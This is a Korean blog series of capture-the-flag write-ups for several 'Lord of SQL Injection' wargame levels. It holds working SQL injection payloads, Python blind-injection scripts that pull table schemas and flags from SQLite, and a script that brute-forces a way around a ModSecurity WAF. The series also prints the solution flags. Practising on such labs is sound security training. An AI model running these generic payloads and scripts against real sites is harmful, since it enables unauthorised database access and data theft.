4시이다. 글을 쓰고 있는 지금은 오후 11시이다...... 잡소리 그만하고 NESSIE의 코드를 만나보자

< 출처 : 위키백과 https://en.wikipedia.org/wiki/Loch_Ness_Monster >


코드

DB가 바뀌었다. 지난 시간까지는 sqlite였는데, mssql이 되었다. query는 2개가 시행이 되는데, 첫 번째 쿼리만 exploit 대상이 되는 거 같고, 두 번째 query는 정확한 pw를 전달해서 문제를 해결하는 문고리 문제인 거 같다.

master, sys, information, prob, wiatfor 등이 막힌것을 보니, 메타데이터의 접근과 time based sql injection을 방지하려고 한 거 같다.

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=uawe0f9ji34fjkl

코드를 잘 보면 exit(mssql_error(sqlsrv_errors()))이 있다. 즉 에러가 그대로 표출된다. 다음의 코드를 한번 쳐보자

try : ?pw=%27order%20by

오호....

try : ?pw=%27=

대박... 이거 아예 에러를 강제 유발할 수도 있겠다. 프로그래밍에도 자료형이 있듯이, 데이터베이스에도 자료형이 있다. 그중 문자열을 저장하는 VARCHAR나 VARCHAR2들이 문자열을 저장하게 되는데, 강제로 다른 형태의 자료를 넣으면 에러가 발생한다. 

 

따라서 문자열인 pw에 1을 입력하면 변환 오류가 나오며 유의미한 오류가 나올 수도 있다.

try : ?id=admin&pw=1%27%20or%20id=%27admin%27%20and%20pw=1--%20

어?


어허.... 쉽게 해결할 수 있었다. 다음 문제에서 기다리겠다.

폴터가이스트 현상이다.(이것도 몬스터가 맞나?) 예전에 국내에서 개봉한 곤지암이라는 영화를 봤는데, 와; 무섭더라. 마지막 장면에 침대에 묶여서 어둠으로 끌려가는 장면이 생각난다. 

< 출처 : 나무위키 https://namu.wiki/w/%ED%8F%B4%ED%84%B0%EA%B0%80%EC%9D%B4%EC%8A%A4%ED%8A%B8 >

 


코드

주석이 길다. 써있는 글은 flag_{$hash} 테이블에 정보가 있다고 한다. 아마 특정한 다이제스트가 $hash에 들어갈 거 같다.(설마 $hash라는 문자열일까) 


해결방법

Answer Url : https://los.rubiya.kr/chall/XXXX.php?pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}

 

첫번째 코드이다. Blind SQL Injection을 위해서 우선 flag_%뭐 시기로 시작하는 테이블 명을 가져와 봤다. MySQL의 Information_Schema와 같은 메타 정보가 sqlite_master라는 테이블에 있다. sqlite_master에는 type, name, tbl_name(테이블 명), sql(생성시 create 명령어)가 저장되어 있고, tbl_name이 flag_%뭐인 테이블의 생성 sql을 가져와 보자

import string
from requests import get

if __name__=="__main__" :

    url = "### poltergeist URL ###"
    cookie = dict(PHPSESSID ="### 자신의PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters+string.punctuation
    password = ''
    
    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?pw=1' or id='admin' and length((select sql from sqlite_master where tbl_name like 'flag_%'))="+str(length)+"-- "
        new_url = url+param
        req = get(new_url,cookies=cookie)
        if (req.text.find("Hello admin")>0) :
            print("FIND! password lenght pw : "+str(length))
            break
        length+=1

    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1' or id='admin' and substr(((select sql from sqlite_master where tbl_name like 'flag_%')),"+str(i)+",1)='"+a+"'-- "
            new_url = url+param
            req = get(new_url,cookies=cookie)

            if (req.text.find("Hello admin")>0) :
                password += a
                break

    print("="*25)
    print("find password : "+password)

이렇게 하면 다음과 같은 QUERY가 나온다.

### LENGTH of PASSWORD SEARCH ###
FIND! password lenght pw : 54


### PASSWORD SEARCH ###
=========================
find password : CREATE+TABLE+`flag_70c81d99`+(`flag_0876285c`TEXT)

(+)는 url로 연결이 될때 공백이 +로 치환되는 성질이 있어서 그렇다. " "으로 알아서 치환하자. 위에 따르면 flag_70c81d99라는 테이블에 flag_0876285c라는 칼럼명이 있는 것이다. 이를 활용해서 두 번째 코드를 만들자

flag_length = 1
flag = ""

print("\n\n### FLAG LENGTH SEARCH ###")
while(True) :
    param = "?pw=1' or id='admin' and length((select flag_0876285c from flag_70c81d99))="+str(flag_length)+"--%20"
    new_url = url+param
    req = get(new_url,cookies=cookie)

    if (req.text.find("Hello admin")>0) :
        print("FIND! password lenght pw : "+str(flag_length))
        break
    flag_length+=1

print("\n\n### PASSWORD SEARCH ###")
for i in range(1,flag_length+1) :
    for a in letters :
        param = "?pw=1' or id='admin' and substr(((select flag_0876285c from flag_70c81d99)),"+str(i)+",1)='"+a+"'-- "
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if (req.text.find("Hello admin")>0) :
            flag += a
            break

print("flag :",flag)

출력은 다음과 같다.

### FLAG LENGTH SEARCH ###
FIND! password lenght pw : 38


### PASSWORD SEARCH ###
flag : FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}

그릏다. 이렇게 flag를 얻을 수 있었다.


이렇게 몬스터에 이어 심령현상까지 물리치기 시작했다. 두렵다 괴라는 나물 다음 관문에서 기다리겠다.

벤시다. 벤시는 아일랜드 전설에 등장하는 요정으로 우리나라에서는 적대적인 몬스터로 알려져 있다.(아마 WOW가 한몫하지 않았을까 우리 족장님...) 사실은 그리 적대적인 몬스터가 아니다. 요정이니까, 코드를 만나보도록 하자

< 출처 : 나무위키 https://namu.wiki/w/%EB%B0%B4%EC%8B%9C >


코드

오호 익숙한 코드이다. sqllite에서의 blind sql injection은 어떻지 조금 생각을 해보고 코드로 이동하자


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0313091b
import string
from requests import get

if __name__=="__main__" :

    url = "### BENSHEE의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?pw=1%27%20or%20id=%27admin%27%20and%20length(pw)="+str(length)+"--%20"
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
            print("FIND! password lenght id : "+str(length))
            break
        
        length+=1

    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1' or id='admin' and SUBSTR(pw,"+str(i)+",1)=%27"+a+"%27--%20;"
            new_url = url+param
            req = get(new_url,cookies=cookie)

            if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
                print("find "+str(i)+"'s letter : "+a)
                password += a
                break

    print("="*25)
    print("find password : "+password)

2-SY! 코드에 대한 설명이 혹시나, 혹시나 필요하다면 아래 포스팅을 보자 My SQL에서 썼던 함수와 변한 게 없어서 넘어간다.

2021.04.13 - [WarGame/Lord of SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


쉽게 쉽게 넘어갔던 문제다. 다음 관문에서 기다리겠다.

이집트 신화에 나오는 만티코어다. 무섭게 생겼지만, sqllite를 이용한 문제가 시작된 지 얼마 되지 않았으므로 간단한 문제로 예상된다. 코드를 확인하자

< 출처 : 위키백과 https://en.wikipedia.org/wiki/Manticore >


코드

sqllite db에서 id와 pw파라미터의 addslashed처리를한다. 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?id=1%27%20or%20id=char(97,100,109,105,110)--%20

간단하게 해결되었다. 신기한점이 하나가 있는데 sqllite는 문자열에 들어간 \가 이스케이프 문자로 취급되지 않는다는 점이다. 그래서 addslash를 통해서 \가 추가돼도 이게 문자열로 인식이 된다.


이번 몬스터도 어렵지 않게 잡을 수 있었다. 다음 문제에서 여러분들을 기다리겠다.

 

추파카브라? 뭐하는 몬스터인지 모르는데 사진을 보니까 친절하진 않을 거 같다.(literally 'goat-sucker'?) 코드를 살펴보자

< 출처 : 위키백과 : https://en.wikipedia.org/wiki/Chupacabra >


코드

와우! 일단 WAF가 없다.(URL보고 판단했다.)  또한 코드길이가 그리 길지 않으니 뭔가 어려울 거 같다는 생각이 든다.

바로 해결방법을 생각해 보자


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?id=admin%27--%20

2-SY! 왜 이렇게 쉬워졌나 했더니 이번부터는 새로운 DB인 SQLLITE가 사용되었다고 한다. 자세히 보면 % db연결 부분이 mysql_이었던 지난 문제들과 달리 sqllite_open()을 사용하는걸 알 수 있다. 

 

이번 문제는 그에 따른 입문 문제로 생각해 주면 되겠다. 하나 참고로 주면 혹시 저번 문제까지 주석을 "#"(%23)을 사용하던 용사들은 --%20을 사용해주기를 바란다.(필자의 포스팅을 계속 봐왔으면 상관없다. 난 애초에 %23을 안 썼다)


새로워진 DATABASE.(몬스터를 잡는 곳이니까 우리한테는 필드가 맞는 건가?)와 함께 만난 새로운 문제였다. 다음 관문에서 여러분들을 기다리겠다.

키클롭스를 만났다. 싸이클롭스라고도 읽더라. 그리스 신화에 등장하는 거인인데, 눈이 한쪽밖에 없다. 얘는 눈 건강부터 챙겨야 되겠다. 안대 같은 것도 못쓸 테니 말이다.

< 출처 : 위키백과 https://ko.wikipedia.org/wiki/%ED%82%A4%ED%81%B4%EB%A1%AD%EC%8A%A4 >


코드

URL을 보아서는 Mod seucrity(WAF)가 적용되어 있으며 id와 pw에 대해서 prob, 언더바(_) 등 국룰을 차단하고 있다. 해결을 위해서는 id에 first와 pw에 second를 가져오면 성공이다. 주석으로 union select를 사용하여야 한다고 이 몬스터를 잡을 힌트를 준다.


해결방법

Answer Url : modsec.rubiya.kr/chall/XXXX.php?id=1%27&pw=union%20--%20%0a%0ddistinct%20select%200x6669727374,%200x7365636f6e64%27%27--%20
try : ?id=' or union select 1,2--%20

 

금지당했다. 여러번 하고 알았는데

UNION과 SELECT가 연달아서 사용되면 WAF에서 걸린다.

 

이 항목을 우회할 방법을 우선 찾아내야 한다. 가장 단순하게 떠오르는 방법은 한 줄 주석(-- or #)과 개행(\r\n)을 연달아서 쓰는 게 가장 번잡하고 좋을 거 같다.

try : ?id='--&pw=%0a%0dunion--%20%0a%0dselect--%20%0a%0d1,2--%20

응? 이상하다. 뭐가 막힌 게 있나?

try : ?id=1' or pw=1--%20&pw=1

으흠; 사실 modseucrity 룰셋에 대한 이해도가 필요한 문제이지만, 필자는 그걸 다 외우고 다닐 정도로 머리가 좋지 않다. Python을 통해 우리가 원하는 쿼리의 모든 개행 조합을 작성해보았다.

기본이 되는 쿼리는 다음과 같다.

Query : ?id=1'{0[0]}&pw=union {0[1]}distinct%20{0[2]}select%20{0[3]}0x6669727374, 0x7365636f6e64''--%20

* 0x6669727374는 'first', 0x7365636f6e64는 'second'의 헥스값이다.

* 중괄호 {0[n]}은 Python에서 string.format()으로 바뀔 문자열이다.

* distinct는 select문에서 중복을 제거한다는 키워드이다. union select가 동시에 사용되면 WAF가 차단하기에, 완충제로 추가하였다.

 

코드는 다음과 같다.

import requests

### length길의의 모든 2진수 조합 생성
def make_sequence(length) :
    crit = length**2

    for i in range(0,crit) :
        yield ("{:0>"+str(length)+"}").format(str(bin(i))[2:])


if __name__=="__main__" :
    url = ### Cyclops의 URL ###
    cookie = {"PHPSESSID" : "### 자신의 PHPSESSID ###"}
    sub = "--%20%0a%0d"     ### 대체문자열
    param = "?id=1'{0[0]}&pw=union {0[1]}distinct%20{0[2]}select%20{0[3]}0x6669727374, 0x7365636f6e64''--%20"
    sub_cnt = param.count("}")

    my_gen = make_sequence(sub_cnt)
    
    for gen in my_gen :
        tmp_array = list()
        
        for i in range(sub_cnt) :
            tmp_array.append(int(gen[i])*sub)
                
        new_param = param.format(tmp_array)
        rec = requests.get(url+new_param,cookies=cookie)
        
        if(rec.text.find("Forbidden")==-1 and rec.text.find("Clear")!=-1) :
            print("="*20+"\n")
            print(new_param+"\n")
            print("="*20)
            break

출력은 다음과 같다.

====================

?id=1'&pw=union --%20%0a%0ddistinct%20select%200x6669727374, 0x7365636f6e64''--%20

====================

축하한다.


이번 시간 Cyclops문제를 해결하면서 WAF필터링의 대한 이해가 더 깊어졌다. 다음 관문에서 여러분들을 기다리겠다.

+ Recent posts